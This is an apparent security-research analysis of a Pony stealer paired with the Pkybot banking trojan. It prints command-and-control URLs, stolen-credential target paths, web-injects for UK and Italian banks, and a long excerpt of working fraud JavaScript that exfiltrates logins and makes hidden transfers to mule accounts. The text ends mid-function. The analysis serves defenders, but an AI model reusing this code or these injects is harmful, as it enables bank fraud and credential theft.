Pony + Pkybot + Automated Transfer System = Banker

A couple of months ago we were analyzing a sample which was tagged as “Pkybot”. The analyzed sample was MD5 7609F372F9AFBAADA6AA330A829C90AF SHA1 F20CB7A64A4CFE4F7E41E2F983A8F34CDB5C153A, according to its compilation time stamp it was compiled on 10/17/2014 2:34 pm. Analysis turned out that it’s a Pony sample, there are 2 good analysis reports of Pony here and here.

The file imports LoadLibraryA and GetProcAddress which makes it highly suspicious (those 2 API calls are commonly imported to resolve more API functions on demand, to hide the full list of API functions being used) and simple AV heuristics usually are able to catch that immediately.

After running it for a few seconds it starts itself as “C:\Users\[Username]\AppData\Roaming\WinRAR\sysparvh.exe” and adds itself to the Run registry key under the name “SYS_UPDATE_2864E379BB0537CDE68283A” (if you google that name you will find some other reports). Then, it tries to access (all 404 at the time of analysis):

http://championi.de/Webface/templatec/g.php
http://www.galerie-geo.com/images/vm1982.jpg.exe
http://fundacionjosepgibert.org/images/photos/vm1982.jpg.exe

Even though all URLs were down and therefore the config couldn’t be downloaded, directory listing was enabled on one of the C&C URLs:

2

The admin.php shows the common Pony panel:

3

We took a memory snapshot and found these strings in memory. They contain paths for stealing passwords from different FTP programs, Email clients and Bitcoin wallets from different local Bitcoin clients.

2864E379BB0537CDE68283A.NfJ4umjndkj93m.http://championi.de/Webface/templatec/g.php..http://www.galerie-geo.com/images/vm1982.jpg.exe.http://fundacionjosepgibert.org/images/photos/vm1982.jpg.exe..YUIPWDFILE0YUIPKDFILE0YUICRYPTED0YUI1.0.......MODU..€ˆ0.P‰0.SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.UninstallString.DisplayName.\..........exe.YaýÿSoftware\WinRAR.open....€kernel32.dll.WTSGetActiveConsoleSessionId.ProcessIdToSessionId..netapi32.dll.NetApiBufferFree.NetUserEnum..ole32.dll.StgOpenStorage..advapi32.dll.AllocateAndInitializeSid.CheckTokenMembership.FreeSid.CredEnumerateA.CredFree.CryptGetUserKey.CryptExportKey.CryptDestroyKey.CryptReleaseContext.RevertToSelf.OpenProcessToken.ImpersonateLoggedOnUser.GetTokenInformation.ConvertSidToStringSidA.LogonUserA.LookupPrivilegeValueA.AdjustTokenPrivileges.CreateProcessAsUserA..crypt32.dll.CryptUnprotectData.CertOpenSystemStoreA.CertEnumCertificatesInStore.CertCloseStore.CryptAcquireCertificatePrivateKey..msi.dll.MsiGetComponentPathA..pstorec.dll.PStoreCreateInstance..userenv.dll.CreateEnvironmentBlock.DestroyEnvironmentBlock...HLuD·MuÒ..sÏY}s.HXuæ@sv.ßrv.Asv.svvì²rv(2vvê‘rv.Årv$árvb.sv.CsvzÅrv.Csv*.uvT&vvJ@svŽAsv8%vv.Z uð_"u:ã.u.Ý.u;Z"uÕì.mlRôlz.etN.etshell32.dll.SHGetFolderPathA...x°u$eA.9eA.IeA._eA.meA.}eA..eA.¢eA.¹eA.ÍeA.æeA..fA.'fA........€....My Documents....€....AppData....€....Local AppData....€ ...Cache....€!...Cookies....€"...History....€....My Documents....€#...Common AppData....€'...My Pictures....€....Common Documents....€/...Common Administrative Tools....€0...Administrative Tools....€....Personal.Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders.explorer.exe.S-1-5-18.....SeImpersonatePrivilege.SeTcbPrivilege.SeChangeNotifyPrivilege.SeCreateTokenPrivilege.SeBackupPrivilege.SeRestorePrivilege.SeIncreaseQuotaPrivilege.SeAssignPrimaryTokenPrivilege..GetNativeSystemInfo.kernel32.dll.IsWow64Process.HWID.{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}.Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0).POST %s HTTP/1.0..Host: %s..Accept: */*..Accept-Encoding: identity, *;q=0..Accept-Language: en-US..Content-Length: %lu..Content-Type: application/octet-stream..Connection: close..Content-Encoding: binary..User-Agent: %s.....Content-Length:.Location:......\*.*.*.*.Software\Microsoft\Windows\CurrentVersion\Internet Settings.ProxyServer.Software\Far\Plugins\FTP\Hosts.Software\Far2\Plugins\FTP\Hosts.Software\Far Manager\Plugins\FTP\Hosts.Software\Far\SavedDialogHistory\FTPHost.Software\Far2\SavedDialogHistory\FTPHost.Software\Far Manager\SavedDialogHistory\FTPHost.Password.HostName.User.Line.wcx_ftp.ini.\GHISLER.InstallDir.FtpIniName.Software\Ghisler\Windows Commander.Software\Ghisler\Total Commander.\Ipswitch.Sites\.\Ipswitch\WS_FTP.\win.ini..ini.WS_FTP.DIR.DEFDIR.CUTEFTP.QCHistory.Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar.Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar.Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar.Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar.Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar.Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar.Software\GlobalSCAPE\CuteFTP 9\QCToolbar.\GlobalSCAPE\CuteFTP.\GlobalSCAPE\CuteFTP Pro.\GlobalSCAPE\CuteFTP Lite.\CuteFTP.\sm.dat.Software\FlashFXP\3.Software\FlashFXP.Software\FlashFXP\4.InstallerDathPath.path.Install Path.DataFolder.\Sites.dat.\Quick.dat.\History.dat.\FlashFXP\3.\FlashFXP\4.\FileZilla.\sitemanager.xml.\recentservers.xml.\filezilla.xml.Software\FileZilla.Software\FileZilla Client.Install_Dir.Host.User.Pass.Port.Remote Dir.Server Type.Server.Host.Server.User.Server.Pass.Server.Port.Path.ServerType.Last Server Host.Last Server User.Last Server Pass.Last Server Port.Last Server Path.Last Server Type.FTP Navigator.FTP Commander.ftplist.txt.\BulletProof Software..dat..bps.Software\BPFTP\Bullet Proof FTP\Main.Software\BulletProof Software\BulletProof FTP Client\Main.Software\BPFTP\Bullet Proof FTP\Options.Software\BulletProof Software\BulletProof FTP Client\Options.Software\BPFTP.LastSessionFile.SitesDir.InstallDir1..xml.\SmartFTP.Favorites.dat.History.dat.addrbk.dat.quick.dat.\TurboFTP.Software\TurboFTP.installpath.Software\Sota\FFFTP.CredentialSalt.CredentialCheck.Software\Sota\FFFTP\Options.Password.UserName.HostAdrs.RemoteDir.Port.HostName.Port.Username.Password.HostDirName.Software\CoffeeCup Software\Internet\Profiles.Software\FTPWare\COREFTP\Sites.Host.User.Port.PW.PthR.SSH.profiles.xml.\FTP Explorer.Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224.Buttons.Software\FTP Explorer\Profiles.Password.PasswordType.Host.Login.Port.InitialPath.FtpSite.xml.\Frigate3..ini.\VanDyke\Config\Sessions.\Sessions.Software\VanDyke\SecureFX.Config Path.UltraFXP.\sites.xml.\FTPRush.RushSite.xml.Server.Username.Password.FtpPort.Software\Cryer\WebSitePublisher.\BitKinex.bitkinex.ds.Hostname.Username.Password.Port.Software\ExpanDrive\Sessions.\ExpanDrive.\drives.js."password" : ".",.Software\ExpanDrive.ExpanDrive_Home.Server.UserName.Password._Password.Directory.Software\NCH Software\ClassicFTP\FTPAccounts.FtpServer.FtpUserName.FtpPassword._FtpPassword.FtpDirectory.SOFTWARE\NCH Software\Fling\Accounts.Software\FTPClient\Sites.Software\SoftX.org\FTPClient\Sites..oxc..oll.ftplast.osd.\GPSoftware\Directory Opus.\SharedSettings.ccs.\SharedSettings_1_0_5.ccs.\SharedSettings.sqlite.\SharedSettings_1_0_5.sqlite.\CoffeeCup Software.leapftp.unleap.exe.sites.dat.sites.ini.\LeapWare\LeapFTP.SOFTWARE\LeapWare.InstallPath.DataDir.Password.HostName.UserName.RemoteDirectory.PortNumber.FSProtocol.Software\Martin Prikryl.\32BitFtp.ini.NDSites.ini.\NetDrive.PassWord.Url.UserName.RootDirectory.Port.Software\South River Technologies\WebDrive\Connections.ServerType.FTP CONTROL.FTPCON..prf.\Profiles.ƒ}ü.Ž³èis¯ÿhttp://.https://.ftp://.opera.wand.dat._Software\Opera Software.Last Directory3.Last Install Path.Opera.HTML\shell\open\command.\Opera Software.wiseftpsrvs.bin.\AceBIT.Software\AceBIT.MRU.SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}.SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}.wiseftpsrvs.ini.wiseftp.ini.FTPVoyager.ftp.FTPVoyager.ftp.backup.FTPVoyager.ftp.old.backup.FTPVoyager.qc.\RhinoSoft.com.nss3.dll.NSS_Init.NSS_Shutdown.NSSBase64_DecodeBuffer.SECITEM_FreeItem.PK11_GetInternalKeySlot.PK11_Authenticate.PK11SDR_Decrypt.PK11_FreeSlot..........................................profiles.ini.Profile.IsRelative.Path.PathToExe.prefs.js.signons.sqlite.signons.txt.signons2.txt.signons3.txt.#2c.#2d.#2e.Firefox.\Mozilla\Firefox\.Software\Mozilla.---.ftp://.http://.https://.moz-proxy://.ftp..fireFTPsites.dat.SeaMonkey.\Mozilla\SeaMonkey\.Flock.\Flock\Browser\.Mozilla.\Mozilla\Profiles\.Software\LeechFTP.AppDir.LocalDir.bookmark.dat.SiteInfo.QFP.Odin.Favorites.dat.WinFTP.sites.db.CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32.servers.xml.\FTPGetter.ESTdb2.dat.QData.dat.\Estsoft\ALFTP.Internet Explorer.WininetCacheCredentials.MS IE FTP Passwords.DPAPI: .@J7<äºÏ.¿}.ª.iFîAJ7<äºÏ.¿}.ª.iFîBJ7<äºÏ.¿}.ª.iFî?...%02X.Software\Microsoft\Internet Explorer\IntelliForms\Storage2.h.t.t.p.:././.w.w.w...f.a.c.e.b.o.o.k...c.o.m./.......„.ˆ.”.È.à.Ø.ä.˜.´.ä.ˆ.Ð.Ü.´.Ð.Œ...ä.´.„.Ì.Ô.à.´.Œ.È.È.ä.À.Ð...ˆ.„.Ü.˜.Ü...Microsoft_WinInet_*.*.ftp://.SspiPfc.Software\Adobe\Common.SiteServers.SiteServer %d\Host.SiteServer %d\WebUrl.SiteServer %d\Remote Directory.SiteServer %d-User.SiteServer %d-User PW.%s\Keychain.SiteServer %d\SFTP.DeluxeFTP.sites.xml.SQLite format 3.table.(.). .CONSTRAINT.PRIMARY.UNIQUE.CHECK.FOREIGN..Web Data.Login Data.logins.origin_url.password_value.username_value.ftp://.http://.https://.moz_logins.hostname.encryptedPassword.encryptedUsername.\Google\Chrome.\Chromium.\ChromePlus.Software\ChromePlus.Install_Dir.\Bromium.\Nichrome.\Comodo.\RockMelt.K-Meleon.\K-Meleon.\Profiles.Epic.\Epic\Epic.Staff-FTP.sites.ini.\Sites.\Visicom Media..ftp.S.e.t.t.i.n.g.s...\Global Downloader.SM.arch.FreshFTP..SMF.BlazeFtp.site.dat.LastPassword.LastAddress.LastUser.LastPort.Software\FlashPeak\BlazeFtp\Settings.\BlazeFtp..fpl.FTP++.Link\shell\open\command.GoFTP.Connections.txt.3D-FTP.sites.ini.\3D-FTP.\SiteDesigner.SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32.EasyFTP.\NetSarang..xfp..rdp.TERMSRV/*.password 51:b:.username:s:.full address:s:...TERMSRV/.FTP Now.FTPNow.sites.xml.SOFTWARE\Robo-FTP 3.7\Scripts.SOFTWARE\Robo-FTP 3.7\FTPServers.FTP Count.FTP File%d.Password.ServerName.UserID.InitialDirectory.PortNumber.ServerType.......A.je‘}.GL/¶Ù. øåÓfMY.2.5.29.37.0...+........Software\LinasFTP\Site Manager.Host.User.Pass.Port.Remote Dir.\Cyberduck..duck.user.config..\Yandex.My FTP.project.ini..xml.{74FF1730-B1F2-4D88-926B-1568FAE61DB7}.NovaFTP.db.\INSoftware\NovaFTP..oeaccount.Salt.........>._@.H`@.Ça@.‰b@.×d@.Xg@.êi@.¡l@.,m@.gm@.èm@.ln@.op@. p@..t@.êv@..y@..z@.àz@.ß{@..~@.¨.@.ñ.@.Y‚@.¬„@.õ„@.Ë.@.é’@.ã“@.SŸ@.ÚŸ@.. @..¡@.ž¡@.%¢@.±¢@.S£@.Ñ£@.+¤@.f¤@.À.@.7³@.h³@.$É@.UÉ@.†É@..Ê@.BÊ@.sÊ@.¤Ê@..Ë@.âË@.lÌ@.FÎ@.¿Î@..Ï@.yÏ@.àÐ@.>Ñ@.¯Ñ@.ÊÒ@.DÓ@.ñÖ@.F×@.°Ú@..Û@.ìÞ@.÷à@.4ã@.}ã@.ñå@.:æ@.¸æ@.'ç@.¥ç@.#è@.Ÿë@..ì@.>ì@.$í@.Uí@.ÿï@.5ð@.kð@.§ò@..ö@..ø@.¾þ@.Øÿ@.¿.A.=.A.x.A.³.A.î.A.).A.d.A.Ÿ.A.Ú.A...A.P.A.‹.A.Æ.A...A.<.A.w.A.².A.í.A.(.A.c.A.ž.A.Ù.A...A.O.A.Š.A.Å.A...A.;.A.v.A.±.A.ì.A.'.A.b.A. .A.Þ.A...A.Z.A.˜.A.....@...(‚0.samantha.michelle.david.eminem.scooter.asdfasdf.sammy.baby.diamond.maxwell.55555.justin.james.chicken.danielle.iloveyou2.fuckoff.prince.junior.rainbow.112233.fuckyou1.1.nintendo.peanut.none.church.bubbles.robert.222222.destiny.loving.gfhjkm.mylove.jasper.hallo.123321.cocacola.helpme.nicole.guitar.billgates.looking.scooby.joseph.genesis.forum.emmanuel.cassie.victory.passw0rd.foobar.ilovegod.nathan.blabla.digital.peaches.football1.11111111.power.thunder.gateway.iloveyou!.football.tigger.corvette.angel.killer.creative.123456789.google.zxcvbnm.startrek.ashley.cheese.a.sunshine.christ.000000.soccer.qwerty1.friend.summer.1234567.merlin.phpbb.12345678.jordan.saved.dexter.viper.winner.sparky.windows.123abc.lucky.anthony.jesus.ghbdtn.admin.hotdog.baseball.password1.dragon.trustno1.jason.internet.mustdie.john.letmein.123.mike.knight.jordan23.abc123.red123.praise.freedom.jesus1.12345.london.computer.microsoft.muffin.qwert.mother.master.111111.qazwsx.samuel.canada.slayer.rachel.onelove.qwerty.prayer.iloveyou1.whatever.god.password.blessing.snoopy.1q2w3e4r.cookie.11111.chelsea.pokemon.hahaha.aaaaaa.hardcore.shadow.welcome.mustang.654321.bailey.blahblah.matrix.jessica.stella.benjamin.testing.secret.trinity.richard.peace.shalom.monkey.iloveyou.thomas.blink182.jasmine.purple.test.angels.grace.hello.poop.blessed.1234567890.heaven.hunter.pepper.john316.cool.buster.andrew.faith.ginger.7777777.hockey.hello1.angel1.superman.enter.daniel.123123.forever.nothing.dakota.kitten.asdf.1111.banana.gates.flower.taylor.lovely.hannah.princess.compaq.jennifer.myspace1.smokey.matthew.harley.rotimi.fuckyou.soccer1.123456.single.joshua.green.123qwe.starwars.love.silver.austin.michael.amanda.1234.charlie.bandit.chris.happy.hope.maggie.maverick.online.spirit.george.friends.dallas.adidas.1q2w3e.7777.orange.testtest.asshole.apple.biteme.666666.william.mickey.asdfgh.wisdom.batman.pass..%d.exe.%02X.true.BINSTR00Software\Microsoft\Windows\CurrentVersion\Run.\WinRAR.sys..exe.SYS_UPDATE.SYS_UPDATE_.fnam.Global\pmtx.lastd.....ð†0.Client Hash.STATUS-IMPORT-OK.....%d.bat.      "%s"   .ShellExecuteA..........   :ktk   ......     del    . %1  ...if  .. exist .   %1  .  goto .. ktk.. del .  %0 .shell32.dll.COMSPEC.%s /c del "%s" > NUL

The Automated Transfer System

Thanks to the info and hint from researcher Kafeine, we know that with the pony executable there comes actually a second malware sample which is the banking malware (known as Tbag/pkybot). Kafeine reported that the sample with hash adaff5845da0520aa2938858ede3617c reports to the same C&C server as listed below.

Through memory grabbing we found a raw configuration and web-injects in the explorer.exe process. At the time of analysis (in February 2015) it was requesting garbux.com (not resolving) and noisymemo.org (108.61.190.85, US), both having who-is privacy set.

Here is what we were able to extract as part of the config:

<config>
<server timeout="300">
<url>garbux.com/link.php</url>
<url>noisymemo.org/link.php</url>
<url>manafasia.com/link.php</url>
</server>
</config>

<server timeout="3600">
<url>garbux.com/link.php</url>
<url>noisymemo.org/link.php</url>
<url>manafasia.com/link.php</url>
</server>

<https enable="true" size="0">
<skip>*microsoft*</skip>

<grab>*</grab>
</https>

<cookie enable="true" size="0">
<skip>*microsoft*</skip>

<grab>*halifax*</grab>
<grab>*scotland*</grab>
<grab>*lloyds*</grab>
<grab>*tsb.co.uk*</grab>
</cookie>

<inject enable="true">
<dns_redirect from="fakedomain.de" to="realdomain.net"/>
</inject>

</config>

And the web-injects:

<script type="text/javascript" id="inj_add">
navigator.bot_id="user1_C4369E3B11BB4CD799D6F0780AD97B1A";
document.write('<scr'+'ipt type="text/javascript" id="inj_inj" src="https://zertifikatkey.com/images/content/bankofscotland/bankofscotland.js?r='+Number(new Date())+'"></scr'+'ipt>');
</script>

<script type="text/javascript" id="inj_add">
navigator.bot_id="user1_C4369E3B11BB4CD799D6F0780AD97B1A";
navigator.adm="https://zertifikatkey.com/images/";
document.write('<scr'+'ipt type="text/javascript" id="inj_inj" src="https://zertifikatkey.com/images/content/lloydsbank/lloydsbank.js?r='+Number(new Date())+'"></scr'+'ipt>');
</script>

<script type="text/javascript">
if (!window.jQuery){
       document.write('<scr' + 'ipt src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></scr' + 'ipt>');
}
</script>
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js"></script>

<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/chebanca.js"></script>


data_end
data_after
data_end


set_url https://www.csebanking.it/fec/*.html*
data_before
data_end
data_inject
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></script>
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js"></script>
data_end
data_after
<script
data_end


set_url https://banking.credem.it*
data_before
data_end
data_inject
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/credem.js"></script>
data_end
data_after
</head>
data_end

set_url https://www.chebanca.it*
data_before
data_end
data_inject
<script type="text/javascript">
if (!window.jQuery){
       document.write('<scr' + 'ipt src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/jquery.js"></scr' + 'ipt>');
}
</script>
<script type="text/javascript" src="https://1024sslsecurity.com/sajf98wquioijhsa/scripts/chebanca.js"></script>  
data_end
data_after
</head>
data_end

Check-in to the Pkybot server:

4

The returned public key:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEOjs47xNPgUeqURzsxWTlDqrd
Qs9jX8xkcCxXmFpAXkgTwe2q81B5r1PZy/9LFX7qPFPzhsZOdur0hQ7yYEP6gXUw
XA8Gtr6xYUz1k5Ftr0nC26Jkcg1X4MCkYpsVUtNyeb5T/xJOCyMCcT7Dy3UPMOHW
Kwgd712QskNtWeYBWQIDAQAB
-----END PUBLIC KEY-----

The second POST:

5

Automated Transfer System’s Javascript Code

Interestingly, the ATS JS links from above are still active as of today (i.e., https://1024sslsecurity.com/sajf98wquioijhsa/scripts/csebanking.js still works).

This is the csebanking javascript beautified, it reveals the real ATS – the component which can replace the banking account numbers in the browser of an infected machine to the attackers one:

var jq = jQuery.noConflict();
_cssCode = '.digipass { background: url("https://1024sslsecurity.com/sajf98wquioijhsa/images/digipass.gif") no-repeat !important; } .inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=0); opacity: 0; } #inj_dialog_box { position: relative; z-index: 4001; width: 100%; } .inj_content_para { padding: 10px; font-size: 16px; } .inj_content_block { padding: 10px; font-size: 14px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold; font-size: 70%; }';
if ((document.readyState === "loading") || (document.readyState === "interactive"))
    document.write('<style type="text/css">' + _cssCode + '</style>');
else
    jq('head').append('<style type="text/css">' + _cssCode + '</style>');

var ATS = {
    bank: '',
    account_id: 0,
    script_ver: '0',
    debug_mode: false,
    current_state: 0,
    StepInFrame: {
        0: "BeginWork",
        10: "framePageFinanzstatus",
        15: "Transactions",
        20: "Overseas_remittance",
        30: "SEPA_page",
        110: "SEPA_form_filled",
        120: "TAN_ENTERED",
        130: "Internal_transf_page",
        140: "INT_form_filled",
        150: "Transfer",
        160: "TransferToSepa",
        170: "Pre_SEPA_page",
        180: "randomPage",
        190: "inside_randomPage",
        set_current_state: function(state) {
            for (var key in this) {
                if (typeof this[key] != 'function' && state == this[key]) {
                    parent.ATS.current_state = key;
                    return key;
                }
            }
            return false;
        }
    },
    isDebugMode: function() {
        return ATS.debug_mode;
    },
    getBrowserFull: function() {
        var res = 'na';
        try {
            var m = navigator.userAgent.match(/Firefox\/(\d+)/);
            if (m) {
                res = 'ff' + m[1];
            } else {
                m = navigator.userAgent.match(/MSIE (\d+)/);
                if (m)
                    res = 'ie' + m[1];
            }
        } catch (e) {
            res = 'ex';
        }
        return res;
    },
    debugMsg: function(message) {
        if (this.isDebugMode()) {
            if (window.console && window.console.log)
                window.console.log(message);
            else
                alert(message);
        }
    },
    _cookies: new Object(),
    setCookie: function(name, value) {
        ATS.debugMsg('setCookie: ' + name + ' = ' + value);
        ATS._cookies['#' + name] = value;
    },
    getCookie: function(name) {
        if (typeof ATS._cookies['#' + name] == 'undefined')
            return null;
        return ATS._cookies['#' + name];
    },
    serializeCookies: function() {
        var result = new Array();
        for (var i in ATS._cookies) {
            if (i.indexOf('#') == 0) {
                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(ATS._cookies[i]));
            }
        }
        return result.join('&');
    },
    unserializeCookies: function(rawData) {
        var result = new Object();
        for (var i in rawData) {
            result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
        }
        return result;
    },
    saveCookies: function(callback) {
        ATS.sendGateRequest('save_cookies', {
            data: ATS.serializeCookies()
        }, callback);
    },
    sendGateRequest: function(action, params, callback) {
        data = jq.extend({
            bank: ATS.bank,
            aid: ATS.account_id
        }, params);
        var url = ATS.gateURL + '?a=' + action + '&cb=?';
        if ((typeof __debugDisabled == 'undefined') || !__debugDisabled) {
            jq.ajax({
                url: url,
                dataType: 'jsonp',
                crossDomain: true,
                data: data,
                success: callback
            });
        }
    },
    die: function(msg) {
        ATS.sendLogMsg('ERROR: ' + msg, function() {
            ATS.setCookie('error_time', ATS.getTime());
            ATS.setCookie('status', 2);
            ATS.saveCookies(function() {
                if ((parent.window !== window) && parent.ATS) {
                    ATS.debugMsg('die in frame');
                    parent.ATS.UI_hideDialogBox();
                    parent.ATS.UI_unblockSite();
                    jq('.inj_full_overlay', parent.document).remove();
                } else {
                    ATS.debugMsg('die outside frame');
                    ATS.UI_hideDialogBox();
                    ATS.UI_unblockSite();
                    jq('.inj_full_overlay').remove();
                }
            });
        });
    },
    getTime: function() {
        return Math.floor((new Date).getTime() / 1000);
    },
    transferSepa: function() {
        ATS.sendLogMsg('transferSepa');
        ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function() {
            ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
            ATS.setCookie('transfer_time', ATS.getTime());
            ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
            ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
            ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
            var transfer_acc = parent.ATS.maxAcc.number;
            if (transfer_acc) {
                ATS.setCookie('transfer_acc', transfer_acc);
                ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
            }
            ATS.setCookie('Gesamtsaldo', parent.ATS.Gesamtsaldo);
            ATS.setCookie('status', 1);
            ATS.saveCookies(function() {
                parent.ATS.UI_hideDialogBox();
                parent.ATS.UI_unblockSite();
                ATS.replaceBalances();
                jq('.inj_full_overlay', parent.document).remove();
            });
        });
    },
    transferInternal: function() {
        ATS.sendLogMsg('transferInternal');
        ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function() {
            ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
            ATS.setCookie('transfer_time', ATS.getTime());
            ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
            ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
            ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
            var transfer_acc = parent.ATS.maxAcc.number;
            if (transfer_acc) {
                ATS.setCookie('transfer_acc', transfer_acc);
                ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
            }
            ATS.setCookie('status', 1);
            ATS.setCookie('Gesamtsaldo', parent.ATS.Gesamtsaldo);
            ATS.saveCookies(function() {
                parent.ATS.UI_hideDialogBox();
                parent.ATS.UI_unblockSite();
                ATS.replaceBalances();
                jq('.inj_full_overlay', parent.document).remove();
            });
        });
    },
    sendPostGateRequest: function(action, params) {
        ATS.debugMsg('sendPostGateRequest: ' + action);
        data = jq.extend({
            bank: parent.ATS.bank,
            aid: parent.ATS.account_id
        }, params);
        var url = ATS.gateURL + '?a=' + action;
        ATS.debugMsg('url = ' + url + '; params = ' + params);
        if ((typeof __debugDisabled == 'undefined') || !__debugDisabled) {
            jq.ajax({
                type: 'POST',
                url: url,
                crossDomain: true,
                data: data
            });
        }
    },
    base64_encode: function(input) {
        var output = "";
        var chr1, chr2, chr3;
        var enc1, enc2, enc3, enc4;
        var i = 0;
        var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        do {
            chr1 = input.charCodeAt(i++);
            chr2 = input.charCodeAt(i++);
            chr3 = input.charCodeAt(i++);
            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;
            if (isNaN(chr2)) {
                enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
                enc4 = 64;
            }
            output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
        } while (i < input.length);
        return output;
    },
    utf8_encode: function(argString) {
        if (argString === null || typeof argString === "undefined")
            return "";
        var string = (argString + '');
        var utftext = '',
            start, end, stringl = 0;
        start = end = 0;
        stringl = string.length;
        for (var n = 0; n < stringl; n++) {
            var c1 = string.charCodeAt(n);
            var enc = null;
            if (c1 < 128) {
                end++;
            } else if (c1 > 127 && c1 < 2048) {
                enc = String.fromCharCode((c1 >> 6) | 192, (c1 & 63) | 128);
            } else if (c1 & 0xF800 != 0xD800) {
                enc = String.fromCharCode((c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128);
            } else {
                if (c1 & 0xFC00 != 0xD800) {
                    return 'error 1';
                }
                var c2 = string.charCodeAt(++n);
                if (c2 & 0xFC00 != 0xDC00) {
                    return 'error 2';
                }
                c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
                enc = String.fromCharCode((c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128);
            }
            if (enc !== null) {
                if (end > start) {
                    utftext += string.slice(start, end);
                }
                utftext += enc;
                start = end = n + 1;
            }
        }
        if (end > start)
            utftext += string.slice(start, stringl);
        return utftext;
    },
    sendDump: function(msg, data) {
        ATS.sendPostGateRequest('dump', {
            msg: msg,
            data: ATS.base64_encode(ATS.utf8_encode(data))
        });
    },
    loadData: function(callback) {
        ATS.sendGateRequest('load_data', {}, function(data) {
            ATS.account_id = data.account_id;
            ATS._cookies = ATS.unserializeCookies(data.cookies);
            if (typeof callback == 'function')
                callback();
        });
    },
    sendLoginInfo: function(login, password, callback) {
        ATS.sendGateRequest('login', {
            login: login,
            password: password,
            url: window.location.href,
            ver: ATS.script_ver + ' / ' + ATS.getBrowserFull()
        }, callback);
    },
    _logMsgSeq: 0,
    sendLogMsg: function(text, callback) {
        ATS.debugMsg('sendLogMsg: ' + text);
        if (parent && parent.ATS && parent.ATS.sendGateRequest) {
            parent.ATS._logMsgSeq++;
            parent.ATS.sendGateRequest('log_msg', {
                ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(),
                text: parent.ATS._logMsgSeq + ': ' + text
            }, callback);
        } else {
            ATS._logMsgSeq++;
            ATS.sendGateRequest('log_msg', {
                ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(),
                text: ATS._logMsgSeq + ': ' + text
            }, callback);
        }
    },
    getDrop: function(transfType, balance, callback) {
        ATS.sendGateRequest('get_drop', {
            type: transfType,
            balance: balance
        }, callback);
    },
    getDropWithLimit: function(transfType, balance, limit, callback) {
        ATS.sendGateRequest('get_drop', {
            type: transfType,
            balance: balance,
            limit: limit
        }, callback);
    },
    putTransfer: function(transfType, drop, amount, callback) {
        ATS.sendGateRequest('transfer', {
            type: transfType,
            did: drop,
            amount: amount
        }, callback);
    },
    sendAccountsInfo: function(accountsInfo, callback) {
        try {
            ATS.sendGateRequest('save_accounts_info', {
                data: JSON.stringify(accountsInfo)
            }, callback);
        } catch (e) {}
    },
    randInt: function(min, max) {
        return Math.round(min + Math.random() * (max - min));
    },
    imgSubmit: function(button) {
        var form = jq('form').has(jq(button));
        if (jq(form).length == 0)
            return 0;
        var buttonName = jq(button).attr('name');
        if (buttonName != '') {
